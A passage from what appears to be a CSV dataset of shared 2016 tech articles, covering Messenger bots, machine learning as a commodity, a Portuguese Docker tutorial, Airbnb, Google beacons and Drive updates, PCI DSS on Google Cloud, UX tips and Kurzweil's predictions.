quickly. That's a really cool experience. That wasn't a joke when I said on stage that people on the team were playing with that thing and spending shitloads of money. ""People are spending shitloads of money."" So you brought up the command-line question. I am generally bullish on bots, but there are design challenges around making a blank text box feel accessible. How do you make bots more appealing to less savvy people? Well I don't know whether you've tried any of the bots yet... I just tried Poncho, and I'm still waiting for my weather - more on that later. But I've interacted with bots a fair amount. I've used Facebook M a lot. What we've learned is exactly what you said, which is if people enter a blank thread, they have no clue what to do. What we did as part of this launch is two things: one is a ""null state"" - basically, the background of the thread can actually set context, saying this a bot that does this, this, and that, and here's how you interact with it. So setting expectations is really important. And then the second thing is we created a call to action at the bottom of the screen that says ""get started."" So you don't have to think about what to say - you just tap on that thing and boom. Both of these things were very important things for us to address this problem of people not knowing what to do. One thing I've observed in the last few hours - and I know things are still rolling out - but with Poncho, it's been more than a half hour and it hasn't told me the weather yet. I've seen other people mentioning the issue of ""bot latency."" What should be our expectations around how quickly these things interact with us? It should be less than five seconds. We picked Poncho because we like the thing, because it's a really cool experience. But maybe their server's just slammed with people trying the weather cat. I have no idea what's actually happening, but I'm assuming that might be the case. So bot makers are going to have to think about some of these infrastructure challenges. Yeah, and that's a very important point. But not only for making bots, but making tools and developing services for bots. And you know, it's day one of a brand new ecosystem, so it's going to take a little bit of time. You've got 24 hours, Marcus. I wanna ask a couple questions about M, because I have it and I feel like I've only really been using it to order burritos. It's fantastic at that, but I also feel like I'm not getting the most out of it. Do you have any good M tips? Well I think that you hit the nail on the head here with this one, which is that basically what we found is that if there's something that's really specifically painful to you that we do well for you, then you're going to go back for that. But then you start building that mental model that this thing [is only good for addressing that one thing]. Making M more proactive We're making M more proactive right now, so for people who have M we've added the ability to connect your calendar to it so it can help you ahead of you knowing you need help. So we've learned many things. We've learned that (a) we need to make it more proactive for people to build more of a habit, and (b) we've learned that we needed to build a variety of vertical bots to fulfill different types of intent. The fascinating thing, though, is to see the percentage of automated responses grow over time as the AI learns. And sometimes it stumbles, which is also interesting. But it's a long-term experiment, and it yields results already today - because now not only have we learned a lot, we built tools that we're opening up to everyone . We have two goals with this one. One is building the product into something awesome, and that's going to take years for everyone to have access to it. And then also building tools so that the whole ecosystem of things can be built around it. And those two can coexist, because if you have awesome bots that can do things, then if you ask M it can point you in the right direction.",en
1461069028,CONTENT SHARED,54678605145828343,-1443636648652872475,7737563535080806201,,,,HTML,http://readwrite.com/2016/04/18/machine-learning-intel-pc2/,Is machine learning the next commodity?,"It's not every day you can witness an entire class of software making the transition from specialized, expensive-to-develop code to a general-purpose technology. But that's exactly what's happening with machine learning. Chances are, you're already hip-deep in machine-learning applications. It's how Google Photo organizes those pictures from your vacation in Spain. It's how Facebook suggests tags for the pictures you took at last week's soccer match. It's how the cars of nearly every major automaker can help you avoid unsafe lane changes. And it's also the start of something even bigger. Machine learning - which enables a computer to learn without new programming - is exploding in its ability to handle highly complex tasks. It can make houses and buildings not just smart, but actively intelligent. It can take e-commerce from a one-size-fits-all experience to something personalized. It might even find your next date. Driving this surge of machine-learning development is a wave of data generated by mobile phones, sensors, and video cameras. It's a wave whose scope, scale, and projected growth are unprecedented. Every minute of every day, YouTube gains 300 hours of video, Apple users download 51,000 apps, and 347,222 100,000 Tweets make their way into the world. Those stats come from the good folks at Domo, who call the time we're living in ""an era where data never sleeps."" Until now, the hot topic of conversation has been how to analyze information and take action based on the results. But the volume of data has become so great, and its trajectory so steep, that we need to automate many of those actions. Now. As a result, we expect machine learning will become the next great commodity. In the short term, we expect the cost of advanced algorithms to plummet - especially given multiple open-source initiatives - and to spur new areas of specialization. Longer term, we expect these kinds of algorithms to make their way into standard microprocessors. Marc Andreessen once said software is eating the world. In the case of machine learning, it will have a very large appetite. Proprietary becomes open To understand the potential of machine learning as a commodity, Linux is a good place to start. Released as a free, open-source operating system in 1991, it now powers nearly all the world's supercomputers, most of the servers behind the Internet, and the majority of financial trades worldwide - not to mention tens of millions of Android mobile phones and consumer devices. Like Linux, machine learning is well down the open-source path. In the last few months, Baidu, Facebook, and Google have released sets of open-source machine-learning algorithms. Another group of high-tech heavyweights, including Sam Altman, Elon Musk, and Peter Thiel, have launched the OpenAI initiative. And universities and tech communities are adding new tools to the mix. In the short-to-medium term, we see three outcomes from this activity. First, companies that need to integrate machine learning into their products will do so inexpensively - either through their engineering teams or third-party vendors. Second, a three-tier system of available algorithms will establish itself. At the bottom layer will be open-source code. In the middle will be code with greater capabilities, available under license from Amazon, Google, Microsoft, or one of the other big players. At the top will be the highly prized code that keeps these companies competitive; it will stay closely guarded until they feel it's time to make it available widely. Finally, we forecast a flurry of merger, acquisition, and licensing agreements as algorithm providers look to grow and defend their positions. We also expect more specialization as they attempt to lock down various markets. In fact, that process already is well under way. Smarter buildings & commerce For all the talk about smarter homes and buildings, today's technologies aren't nearly as intelligent as they could be. Yes, they can collect data and operate within confined parameters. But they can't adapt to the way you live your life. If you get a new dog, for example, fixed-intelligence devices can't tell the difference between the two of you. If your calendar shows you working from home, these devices won't think to disable your security system without asking. Fortunately, that's changing. Startups such as Nuro Technologies, for example, are pairing sophisticated sensors and self-learning networks for in-home applications. Think of the sensors as mini iPhones in and around your house. You can download software into them - fire sensing, irrigation control, security and more - the same way you load apps into a phone. Commerce is also a big opportunity for machine learning. Maybe the biggest. One of our portfolio companies, Vizury, uses machine learning to help companies display only the online ads you want to see. Awarestack is another great example: it uses data about how and where you park a car to create algorithms that can help you get around more efficiently. Then there's Dil Mil, an online dating app very popular in the South Asian community and growing rapidly. Unlike conventional apps that use the data they collect to make a romantic match, it looks at social behaviors - such as posting on Instagram, Facebook, and Twitter - to find the best possible match. All in real time. Next stop: silicon If the Linux of the 1990s illustrates the long-term impact of machine learning, the laptop and desktop machines of the 1980s point to their final destination. In a word: silicon. Just as modems and graphics cards made their way into microprocessors and motherboards, so will machine learning software. There is simply too much data through which companies need to sift, too many actions they'll need to take, and too many good algorithms already available. It's going to be an exciting time. A director at Intel Capital, Sanjit Dang drives investments in user computing across the consumer and enterprise sectors. He has also driven several investments related to big data, the Internet of Things, and cloud computing.",en
1461081671,CONTENT SHARED,3268064929368559554,3609194402293569455,-2458546884542949853,,,,HTML,http://tableless.com.br/iniciando-com-o-docker-dicas-praticas-para-comecar-usar-agora-mesmo/,Iniciando com o Docker: dicas práticas para começar a usar agora mesmo - Tableless,"por André Kiffer Nós no Elasticpush utilizamos Docker para criar nossos ambientes de desenvolvimento, não que o Docker seja somente para isso, aliás, a sua principal vantagem é poder ter a mesma imagem da sua máquina e em produção. Mas enquanto não reestruturamos as coisas para rodar o Docker em produção utilizamos suas vantagens no ambiente de desenvolvimento o que já nos trás uma série de benefícios como: Facilidade de configuração do ambiente de novos membros da equipe Ter diversas versões da mesma biblioteca rodando sem conflito para testes pontuais Poder trabalhar em outros projetos sem comprometer os recursos da máquina e sem a necessidade de levantar uma Máquina Virtual inteira somente para isso. Acabar com a história do ""Na minha máquina funcionava"" (Caso rode em produção também) Versionar a configuração necessária para certo serviço rodar. Para que outros desenvolvedores não precisarem fazer tudo novamente. No inicio não foi tão simples ver essas vantagens e nem entender como as coisas realmente funcionavam por trás do Docker, por isso, gostaria de compartilhar alguns dos principais comandos para você poder brincar e ir se familiarizando com a ideia de usar essa plataforma. O que é o Docker Docker é uma plataforma open-source escrita em GO cuja finalidade é criar ambientes isolados para aplicações e serviços. Com esse isolamento o docker garante que cada container tenha tudo que um serviço precisa para ser executado. Uma das vantagens dessa abordagem é você poder iniciar esse serviço em qualquer máquina que sempre irá rodar da forma esperada, com bibliotecas, dependências e permissões configuradas da forma correta, sem surpresas. Quem trabalha com DevOps sabe o quanto isso facilita o dia a dia, ao invés de você criar um snapshot da máquina inteira, você pode ter vários containers docker rodando na mesma máquina podendo substituí-los ou adicionar novos a medida que for achando necessário. Sem contar na facilidade de reuso, pois você pode usar serviços idênticos em diferentes projeto como por exemplo: Nginx, Elasticsearch, Kafka, PHP-FPM, entre outros. Instalando o Docker Para distribuições Linux é muito simples de se instalar o Docker, já quem usa OSX ou Windows precisa rodar o docker dentro de uma Máquina Virtual. root@ubuntu:~$ apt-get install docker.io Comandos Básicos Agora que você já tem o Docker instalado em sua máquina, vamos ver os principais comandos que você precisa para poder baixar imagens e executar containers. Para o docker poder baixar uma imagem é necessário que ela esteja no Docker Hub ou em algum outro registry. Por padrão se nenhum outro registry for especificado a imagem será baixada do Docker Hub . No Docker Hub , existem milhares de imagens disponíveis que a comunidade foi contribuindo e que facilitam muito a vida do desenvolvedor. Você pode montar um ambiente completo em questão de minutos baixando as imagens que precisar e ir linkando umas com as outras. Em um outro post explicarei uma forma de versionar essa linkagem de containers usando Docker Compose. rroot@ubuntu:~$ docker pull [nome da imagem]; #Baixa a imagem. Quando você executa o comando acima, o docker irá baixar a imagem e deixar salva em sua máquina. Ela ainda não estará rodando, pois é só a imagem o que vai ser executado é um container, você pode executar vários containers da mesma imagem. rroot@ubuntu:~$ docker images; #Lista todas as imagens baixadas root@ubuntu:~$ docker run [nome da imagem]; #Inicia um container da imagem que você escolheu. O comando docker run tem diversos parâmetros que você pode passar como: volume ( -v ) para você mapear uma pasta da máquina pra dentro do container, qual porta ( -p ) você quer externar para que a máquina consiga fazer requisições dentro do container, enfim são várias configurações possíveis. É interessante você pegar alguns exemplos práticos nas próprias descrições das imagens para entender o funcionamento geral e ver a documentação oficial para entender a utilidade de cada parâmetro. rroot@ubuntu:~$ docker ps; # Lista os containers em execução root@ubuntu:~$ docker exec [container id] [comando]; #Executa comandos dentro do container root@ubuntu:~$ docker stop $(docker ps -aq); #Para a execução de todos dos containers root@ubuntu:~$ docker rm $(docker ps -aq); #Exclui todos os containers criados Docker na prática Aqui vai um comando prontinho pra você executar um script em uma linguagem que não tem na sua máquina. Eu escolhi o ruby: rroot@ubuntu:~$ echo puts 'Tableless' > 'hello_ruby.rb' #Criando um arquivo .rb que imprime no console a frase ""Tableless"". root@ubuntu:~$ docker run -v ""$(pwd)"":/var/ruby -w /var/ruby google/ruby sh -c 'ruby hello_ruby.rb' Executando esse docker run, caso você não tenha a imagem google/ruby baixada na sua máquina o próprio docker vai se encarregar disso, fazendo o download e iniciando o container. A opção -v seguida do valor ""$(pwd)"":/var/ruby mapeia a pasta atual (que você está executando o comando no terminal) onde criei o arquivo hello_ruby.rb para a pasta /var/ruby dentro container do docker. A opção -w seta de qual path vai partir a execução do comando no nosso caso parte de /var/ruby , o google/ruby é o nome da imagem do ruby que vamos usar e o sh -c do unix para executar o seguinte comando ' ruby hello_ruby.rb '. Façam o teste na máquina de vocês e vejam como é simples rodar um script em uma linguagem que não estava configurada em seu ambiente. Note que por traz de toda simplicidade do Docker existe uma ferramenta poderosa que está mudando a forma com o que as aplicações são distribuídas hoje em dia, além de ser um grande aliado para configuração do seu ambiente de desenvolvimento. Em um outro post, irei mostrar passo a passo o desenvolvimento de um app para mostrar como que seria a aplicação do docker em um ambiente real, nele mostrarei como criar suas próprias imagens usando o arquivo manifesto Dockerfile e também, um pouco de Docker compose . Hoje mudei a forma de como eu instalo serviços na minha máquina, sempre que vejo uma ferramenta interessante busco primeiro no Docker hub , baixo executo e se for relevante deixo ali para quando for usar, caso contrário removo, já se tornou parte do meu dia a dia e tenho certeza que pra você também fará diferença. Caso tenha alguma dúvida, ou queira compartilhar sua experiência com docker, fique à vontade para deixar um comentário. Publicado no dia",pt
1461086983,CONTENT SHARED,-5798690764728257756,-1032019229384696495,-5623405593432139275,,,,HTML,http://techcrunch.com/2016/04/19/airbnb-bets-on-local-with-user-generated-guidebooks-and-new-neighborhoodhome-matching/,Airbnb bets on local with user-generated guidebooks and new neighborhood/home matching,"Last November, we reported on how Airbnb appeared to be experimenting with ways to expand beyond its role as a P2P marketplace for renting private accommodation, to ""experiences"" - including more detailed local guides and a prepaid card to spend money once you're there. Now, as Airbnb continues to expand, covering some 34,000 cities and 2 million properties, it is coming good on some of this. In a new app update today, Airbnb is launching a series of local Guidebooks collating tips written up by local hosts and power users, and it is debuting a new system and algorithm to help learn about what you like to better match you with both homes and specific neighborhoods. The Guidebooks will start with 3 million tips from 35 cities, while Neighborhood Matching initially will cover 23 of Airbnb's most popular cities: Austin, Bangkok, Barcelona, Berlin, Boston, Buenos Aires, Lake Tahoe, London, Los Angeles, Melbourne, Mexico City, Miami, New York, Paris, Rio de Janeiro (pictured above), Rome, San Francisco, Seoul, Sydney, Tel Aviv, Tokyo, Venice, and Washington DC. Airbnb is formally announcing the services at an event in San Francisco (and we'll update this post with more detail as we learn it). Part of the reasoning both for offering more tips on places, and suggesting various neighborhoods to people, is that Airbnb wants to make sure that as its platform grows, that the long tail of inventory it has on its platform doesn't sit idle while would-be guests turn away when they balk at the prices for homes in prime locations, or simply find everything in those choice areas to be sold out. Some three-fourths of all inventory on the app already is outside of city center districts. Airbnb is spinning this somewhat differently, and if you give them the benefit of the doubt, there is something more charming about visiting a city like London and staying far from the maddening crowd (while still being close to the center of the action). ""The number one reason people chose to travel on Airbnb is they want to live like a local. They don't want to be tourists stuck in long lines, fighting with the crowds to see the same thing as everyone else,"" said Brian Chesky, Airbnb co-founder and CEO, in a statement. ""Our hosts offer more than just generic hospitality - they welcome travelers from around the world into their communities. Today is the start of an exciting journey to help people not just go somewhere, but truly live there."" The developments come at an interesting time for Airbnb, which has raised $2.4 billion in funding and is reportedly now valued at $25.5 billion. As rivals get snapped up by bigger hotel and travel companies, Airbnb is pushing to develop a bigger business that can stand on its own and justify those very lofty numbers (to say nothing of the many charming lofts owners are hoping will get filled up with visitors). On the finanancial front: ""No updates to give"" was the short response I got when I asked for the latest on the pre-paid payment services we spied last year. Interestingly, we've seen that Airbnb earlier this month acqui-hired the team from Blockchain payments startup ChangeCoin but with no specific plans for payment services. ""We are thrilled to bring some members of the ChangeTip team on as a part of Airbnb and joining the engineering team working on building our infrastructure,"" a spokesperson tells us. ""We are not acquiring the assets of the company, nor do we have any plans to incorporate Bitcoin into the Airbnb ecosystem."" Separately, Bloomberg reported a couple of days ago that Airbnb's CEO Brian Chesky said it was experimenting with add-on travel services that users could book and buy through the platform, so you should definitely keep watching this space. Turning back to today's news, Airbnb says that the bespoke matching service will give users a way of setting their preferences for homes that will be marked in the form of a ""conversation"" (which, with the rise of bots, is very much the theme of the moment). While this will help find homes right when you are looking for them, there is machine learning built into the app to get smarter about what it is that you like to make better suggestions to you each time you use the app. These cover not just kind of accomodation, but types of neighborhoods and prices. ""Outside of the explicit filters travelers chose as a part of the matching process, we have sophisticated machine learning algorithms that tailor search to find the perfect place,"" a spokesperson told me. ""As traveler look at individual listings, its algorithms come up with additional places people might like that are similar - we look at things from room types, number of guests, how many timegs you've viewed a listing, what value you are looking for, a listing similarity model, among many factors. As we've tested these machine learning models throughout the past several months, and will continue testing them, we've seen a dramatic increase in successful bookings."" The neighborhood feature works in much of the same way. Covering some 691 specific areas within 23 cities, the idea is to try to introduce you to more areas that you might not have originally considered. The guidebooks, meanwhile, appear to be the fruition of the ""experiences"" that Airbnb started to collect last year. These are described as ""passports"" to places from locals (or others who have visited). It puts Airbnb into competition with services like Tripadvisor and Yelp, and it will be interesting to see if users are interested enough to continue referring to their Airbnb apps throughout their trips as a result of this. More importantly, it helps to lay the groundwork for whatever other potential services Airbnb chooses to add in the future. Airbnb is also doing some aesthetic and marketing moves around this latest update. They include a big brand campaign that it will launch across TV and other platforms to raise its profile. It says that there is also a new Design Language System that will be underpinning the company's platform going forward.",en
1461088055,CONTENT SHARED,-7879096649194981370,801895594717772308,6217033057861708717,,,,HTML,https://developers.google.com/beacons/overview,Platform Overview,"Beacons are one-way transmitters that are used to mark important places and objects. Typically, a beacon is visible to a user's device from a range of a few meters, allowing for highly context-sensitive use cases. Google's beacon platform is designed to make it easy to incorporate these kinds of use cases into your own apps and venues, whether or not you maintain a widely distributed app. Using the beacon platform, including Google Proximity Beacon API and Eddystone , you can: The Google Proximity Beacon API can be used to register any beacon that supports one of the following specifications: Components The Google beacon platform consists of the following components: Eddystone , the open beacon format from Google that works with Android and iOS. Nearby API for Android and iOS, managing beacon scanning for your own app. Proximity Beacon API for integrating with Google products and your own app. Beacons with Eddystone Eddystone is an open beacon format from Google that works with Android and iOS. The process of setting up a beacon to broadcast (sometimes called 'provisioning') can be completed using Google's Beacon Tools app for Android and iOS , using a tool from your manufacturer, or sometimes in bulk by prior arrangement with the beacon manufacturer. Beacons can be deployed at fixed places such as airports, museums, and bus stops, and attached to movable objects such as bicycles, kiosks, and taxis. Once you have identified the places and objects that are important to your users, you should decide which frame types to include. In almost all cases, you should include an abstract identifier frame such as Eddystone-UID or Eddystone-EID. These frame types allow the greatest flexibility in how your infrastructure can be used in the future. Once your beacon is provisioned and deployed, you should register it with Google Proximity Beacon API to get the full benefits of the Google beacon platform. The Google beacon platform provides an abstraction between the beacon hardware or identifier and information associated with the beacon. This allows a single beacon to play a role for many different apps, services, and features. Once a beacon is provisioned and registered, you should focus on attachment data, namespace and type s in order to take full advantage of the beacon platform's flexibility. See Get Started with Beacons to learn more about setting up and using beacons. Proximity Beacon API The Proximity Beacon API allows you to interact with Google's cloud registry of beacons. Registering your beacons with Google allows you to: Manage information associated with your beacon network remotely, in real time. Share information associated with your beacons with other projects. Allow Google products to react to your beacon network. Take advantage of power-efficient beacon scanning (including background scans) using Nearby. In addition to currently launched beacon integrations, registering your beacons with Google will make it easy to take advantage of new Google products as they are announced. Data use in the Proximity Beacon API There are two types of data associated with beacons in the Proximity Beacon API. Registration data, generally used for administration and lower-level integration with Google products (such as Places API integration). Attachments, used by specific (sets of) apps that scan for beacons using Nearby or Proximity Beacon API directly. Google may use registration data, including for example Place ID or Latitude/Longitude/Level, across its full range of products. Attachment data is associated with specific Namespace and Type. The data , together with the namespacedType , makes up the attachment. Attachments in a namespace associated only with your project, and where the visibility is set to UNLISTED , are not used by Google except for the purpose of abuse detection or to improve the performance of Proximity Beacon API. Since attachments are stored in the cloud, the Google Proximity Beacon API provides a scalable, low-latency way to manage and update the data associated with your deployed beacons. This ensures that your users always see the latest available data, and eliminates the need to manually re-provision beacons. The diagnostics component of the Google Proximity Beacon API helps you to monitor your fleet of registered beacons, providing a means to detect remotely when individual beacons behave unusually.",en
1461095606,CONTENT SHARED,-6192959589652486637,-1443636648652872475,7737563535080806201,,,,HTML,http://phandroid.com/2016/04/13/googles-project-wing-gets-its-very-own-logo-could-learn-more-at-google-io-2016/,Google's official Project Wing logo revealed,"We've had a few guesses on why Google would be throwing their annual developer conference - Google IO 2016 - outdoors, one of those having to do with drones and Project Wing, one of the company's many Moonshot projects to come out of their X Labs. Last we heard from Wing, team lead David Voss telling Tech Times they were looking toward their first consumers flights in the US launching sometime in 2017 (after parent company Alphabet pinned down details with the Federal Aviation Administration). While that's still a ways off, it only makes sense we'd receive an update on the project during this year's Google IO. What better way to celebrate the impending launch of a service than with an official logo, something we stumbled across in a recent trademark filing. Here's what it looks like: Project Wing, although a drone delivery service is just one of many flying vehicles tech companies are investing in. Facebook recently teamed up with drone maker DJI to announce on stage during F8 (Facebook's developer conference) that Facebook Live Streaming was officially headed to the DJI GO app. GoPro is another, announcing during last year's Code Conference that they, too, will soon offer their own in-house video drone. Although nobody has actually seen it, GoPro recently showed off some 4K footage from the vehicle holding one of its expensive action cameras . It's still unclear when it will actually land on the market, but GoPro says they're gunning for the first half of 2016. While most of these are for drones are strictly for recreational use, Google's only real competition is Amazon. The online retailer's drone delivery service - dubbed Amazon Prime Air - has made plenty of headlines since becoming official back in December of 2013 . Late last year, Amazon showed off new prototype Prime Air drones , something that looked like mini cargo airlplanes than the quadrocopters that normally pop into your head when you hear the word ""drone."" You can read more about Amazon Prime Air in this exclusive interview with CBS Sunday Morning . Of course, as we mentioned before, there's still plenty of red tape surrounding any and all drone services, something that's sure to hold things up at some point during its development. We're excited to see what comes of Google's Project Wing and will update when we hear more.",en
1461097984,CONTENT SHARED,207910079054861295,-1387464358334758758,8843049509420800495,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/04/sync-only-subfolders-and-safe-shared-files-drive-for-mac-pc.html,Google Drive for Mac/PC just got better! Now sync only the subfolders you need.,"Google Drive for Mac/PC - the app that syncs your computer with Google Drive - is an easy way to make sure your files are safe and accessible from anywhere. Today, we are releasing new features that make your syncing and sharing experience better (and faster, too). Select which subfolders sync to your computer While syncing top-level folders is already possible, you can now choose which subfolders from My Drive to sync to your desktop. To do this, click Preferences > Sync Options > Only these folders... Here, you'll be presented with a list of subfolders from Google Drive that you can check or uncheck to enable or disable syncing. Manage your local storage transparently While you get tons of storage with Google Drive, your local desktop may not have the same amount of free disk space. Now, Drive's interface will show the size of your individual subfolders as well as the space remaining on your computer. It will also warn you if there is not enough space to sync. On top of that, during setup, if the default folders don't fit, Drive will guide you to use selective sync to help you better manage your storage space from the start . See warnings before deleting or moving shared files When you're working with folders on your computer, moving and deleting things is simple. But, doing that with shared files or folders can cause others to lose access. Now, Drive warns you so you'll know if someone might lose access. Please note that Google Apps administrators must first choose whether their users are allowed to use the Google Drive sync client from the Admin console, before it can be used. The improved Google Drive sync client is available now on both Windows and Mac here . Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Gradual rollout (potentially longer than 3 days for feature visibility) Action: Change management suggested/FYI More Information Help Center Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1461098040,CONTENT SHARED,4338940510328721138,-1387464358334758758,8843049509420800495,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/04/choose-google-docs-sheets-and-slides.html,"Choose the Google Docs, Sheets, and Slides files you want to access offline","An internet connection isn't always easy to come by, but that shouldn't stop your employees from completing their work. That's why we give Google Apps admins the option of allowing their users to enable offline access to Google Docs, Sheets, and Slides files. Once an individual user has enabled offline access in Google Drive, a subset of their Docs, Sheets, and Slides files are synced to their computer or device. The specific files synced are based on certain criteria, primarily recency. With this launch, we'll allow end users to choose the specific files they want to make available for offline access when they're working in a Chrome browser on their desktop computer. This will make it easy for individuals to work anywhere, anytime, even when they don't have an internet connection. To make a file available for offline access, a user simply needs to visit the Docs, Sheets, or Slides home screen and toggle the Available offline switch in a file's overflow menu to ON. Please note that this feature will only be available to users working in a Chrome browser on desktop and whose admins have allowed them to enable offline access in Drive. For more information, check out the Help Center . Launch Details Release track: Launching to Rapid release, with Scheduled release coming in two weeks Rollout pace: Full rollout (1-3 days for feature visibility) Action: Change management suggested/FYI Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1461116538,CONTENT SHARED,-4233809085822159066,-1032019229384696495,-1193650786348738741,,,,HTML,https://cloudplatform.googleblog.com/2016/04/a-simple-approach-to-PCI-DSS-compliance-for-Google-Cloud-Platform.html,A simple approach to PCI DSS compliance for Google Cloud Platform,"Customers often ask us for guidance about how to build PCI DSS compliant environments on top of Google Cloud Platform . From our work in the field, we recently put together a handy-dandy tutorial to help them get started. This is no small thing. Many businesses today have online storefronts, and the vast majority of those take credit cards. When you accept credit cards for your business, you have to make sure you do that securely - to ensure customer trust and security, to get paid and to meet the necessary regulations, namely PCI DSS. The PCI DSS, created by the PCI Security Standards Council , is an information security standard created by the major credit card companies; as such, any business that takes Visa, MasterCard, Discover, American Express or JCB is expected to be PCI DSS compliant, and can be fined or penalized if it is not. Creating and managing a compliant PCI DSS environment can be a non-trivial task. Thankfully, if you're on Cloud Platform, managed services such as Stackdriver Monitoring , Stackdriver Logging , and Google BigQuery can help. Our solution, for example, includes these basic components: A lightweight Google Compute Engine front-end application that accepts credit card information and sends it to an external payment processor. Importantly, that information is never recorded, it's only transmitted. An external payment processor that charges the credit card if it's accepted or rejects it if it's not, and notifies your application of the result. Since this is just a notification to your application, no credit card data is transmitted or recorded from the payment processor. Stackdriver Logging, which logs the actions of every application and server via Squid Proxy which restricts the event traffic and sends them to Stackdriver Monitoring, which monitors the events BigQuery, which can be used to analyze the logs, run ad-hoc audit queries and create reports. For further details, check out the full solution for this design. We hope you'll find it useful, and we welcome and encourage your feedback. Comment here or reach out to @petermark on Twitter.",en
1461121562,CONTENT SHARED,2434296883874412747,4209517478660372522,7125819746421627996,,,,HTML,http://tableless.com.br/ux-como-identificar-o-comportamento-do-usuario/,UX - Como identificar o comportamento do usuário? - Tableless,"por Thiago Reges Quando iniciamos um projeto de UX, não adianta criarmos nossas interfaces a revelia, precisamos inicialmente absorver o comportamento dos usuários que acessam aquela plataforma de interação, para decidirmos quais e se as mudanças planejadas poderão surtir algum efeito. Para tanto, existem uma série de ferramentas que podem ajudar seu time a entender melhor o comportamento do usuário. Abaixo, confira algumas dessas ferramentas e dicas sobre como absorver ao máximo esses comportamentos do usuário. Primeira dica: Mapa de calor Geralmente quando os serviços de um profissional ( UX ) é solicito um dos motivos é o cliente estar encontrando alguns problema relacionado a navegação, comportamento do usuário, conversão entre outras uma maneira inicial para identificar como o usuário está realizando a navegação na página do seu cliente é por intermédio de um programa chamado heatmap ( é um mapa de calor ), com ele você vai conseguir identificar com mais facilidade onde exatamente está sendo feito a navegação do site, lembrando que estamos tratando de um site que já recebe tráfego e portanto cliques. Veja um exemplo abaixo. Com algo assim, você consegue saber se aquele link de fato está sendo eficaz ou se a estrutura como todo é funcional. Segunda dica: Google Analytics Todos sabemos que o GA é uma fonte imensa de informações importantes sobre o comportamento do usuário, uma das funcionalidades que indicam com clareza a navegação do usuário é o chamado ""fluxo de comportamento"" localizado no menu lateral esquerdo no setor de ""Comportamento"". Com ele você consegue entender todo fluxo de navegação do usuário, ele é muito flexível e mostra por quais meios o usuário está chegando até a sua página, é realizado uma divisão de interação e assim você vai conseguir ver as páginas que esse grupo de usuário navega, quantidade de acesso nessa página entre outras funcionalidades. Terceira dica: Mapa de Navegação Faça um mapeamento de todo site, assim você vai entender de forma mais ""macro"" como é seu funcionamento se existe links desnecessário e como cada página está sendo ligada. Isso é muito importante e influência muito em questões de SEO, uma das ferramentas que gosto muito de usar é o Mindmup, com ele consigo fazer todo o mapeamento necessário de forma muito dinâmica. Segue exemplo: Última dica: SEO Procure saber que tipo de estrutura de SEO é mais adequada para o seu segmento seja ele um e-commerce, site institucional ou um marketplace, isso é importante pois devemos considerar a estrutura da plataforma já com essas informações do contrário a concorrência já vai estar na frente. Publicado no dia",pt
1461125679,CONTENT SHARED,9217155070834564627,-1032019229384696495,-1193650786348738741,,,,HTML,http://singularityhub.com/2016/04/19/ray-kurzweil-predicts-three-technologies-will-define-our-future/,Ray Kurzweil Predicts Three Technologies Will Define Our Future,"55 0 Over the last several decades, the digital revolution has changed nearly every aspect of our lives. The pace of progress in computers has been accelerating, and today, computers and networks are in nearly every industry and home across the world. Many observers first noticed this acceleration with the advent of modern microchips, but as Ray Kurzweil wrote in his book The Singularity Is Near, we can find a number of eerily similar trends in other areas too. According to Kurzweil's law of accelerating returns, technological progress is moving ahead at an exponential rate, especially in information technologies. This means today's best tools will help us build even better tools tomorrow, fueling this acceleration. But our brains tend to anticipate the future linearly instead of exponentially. So, the coming years will bring more powerful technologies sooner than we imagine. As the pace continues to accelerate, what surprising and powerful changes are in store? This post will explore three technological areas Kurzweil believes are poised to change our world the most this century. [Read more about exponential progress in computing , Kurzweil's law of accelerating returns , and how to think think exponentially and better predict the future .] Genetics, Nanotechnology, and Robotics Of all the technologies riding the wave of exponential progress, Kurzweil identifies genetics, nanotechnology, and robotics as the three overlapping revolutions which will define our lives in the decades to come. In what ways are these technologies revolutionary? The genetics revolution will allow us to reprogram our own biology. The nanotechnology revolution will allow us to manipulate matter at the molecular and atomic scale. The robotics revolution will allow us to create a greater than human non-biological intelligence . While genetics, nanotechnology, and robotics will peak at different times over the course of decades, we're experiencing all three of them in some capacity already. Each is powerful in its own right, but their convergence will be even more so. Kurzweil wrote about these ideas in The Singularity Is Near over a decade ago. Let's take a look at what's happening in each of these domains today, and what we might expect in the future. The Genetics Revolution: ' The Intersection of Information and Biology' ""By understanding the information processes underlying life, we are starting to learn to reprogram our biology to achieve the virtual elimination of disease, dramatic expansion of human potential, and radical life extension."" - Ray Kurzweil, The Singularity Is Near We've been ""reprogramming"" our environment for nearly as long as humans have walked the planet. Now we have accrued enough knowledge about how our bodies work that we can begin tackling disease and aging at their genetic and cellular roots. We've anticipated the power of genetic engineering for a long time. In 1975, the Asilomar Conference debated the ethics of genetic engineering, and since then, we've seen remarkable progress in both the lab and in practice-genetically modified crops, for example, are already widespread (though controversial). Since the Human Genome Project was completed in 2003, enormous strides have been made in reading, writing and hacking our own DNA. Now, we're reprogramming the code of life from bacteria to beagles and soon, perhaps, in humans. The 'how,' 'when,' and 'why' of genetic engineering are still being debated, but the pace is quickening. Major innovations in biotech over the last decade include: Many challenges still need to be overcome before these new technologies are widely used on humans, but the possibilities are incredible. And we can only assume the speed of progress will continue to accelerate. The surprising result? Kurzweil proposes that most diseases will be curable and the aging process will be slowed or perhaps even reversed in the coming decades. The Nanotechnology Revolution: ' The Intersection of Information and the Physical World' ""Nanotechnology has given us the tools...to play with the ultimate toy box of nature atoms and molecules. Everything is made from it...The possibilities to create new things appear endless."" - Nobelist Horst Störmer, The Singularity Is Near Many people date the birth of conceptual nanotech to Richard Feynman's 1959 speech, ""There's Plenty of Room at the Bottom,"" where Feynman described the ""profound implications of engineering machines at the level of atoms."" But it was only when the scanning tunneling microscope was invented in 1981 that the nanotechnology industry began in earnest. Kurzweil argues that no matter how successfully we fine tune our DNA-based biology, it will be no match for what we will be able to engineer by manipulating matter on the molecular and atomic level. Nanotech, Kurzweil says, will allow us to redesign and rebuild ""molecule by molecule, our bodies and brains and the world in which we live."" While we can already see evidence of the 'genetics revolution' in the news and in our daily lives, for most people, nanotech might still seem like the stuff of science fiction. However, it's likely you already use products on a daily basis that have benefitted from nanotech 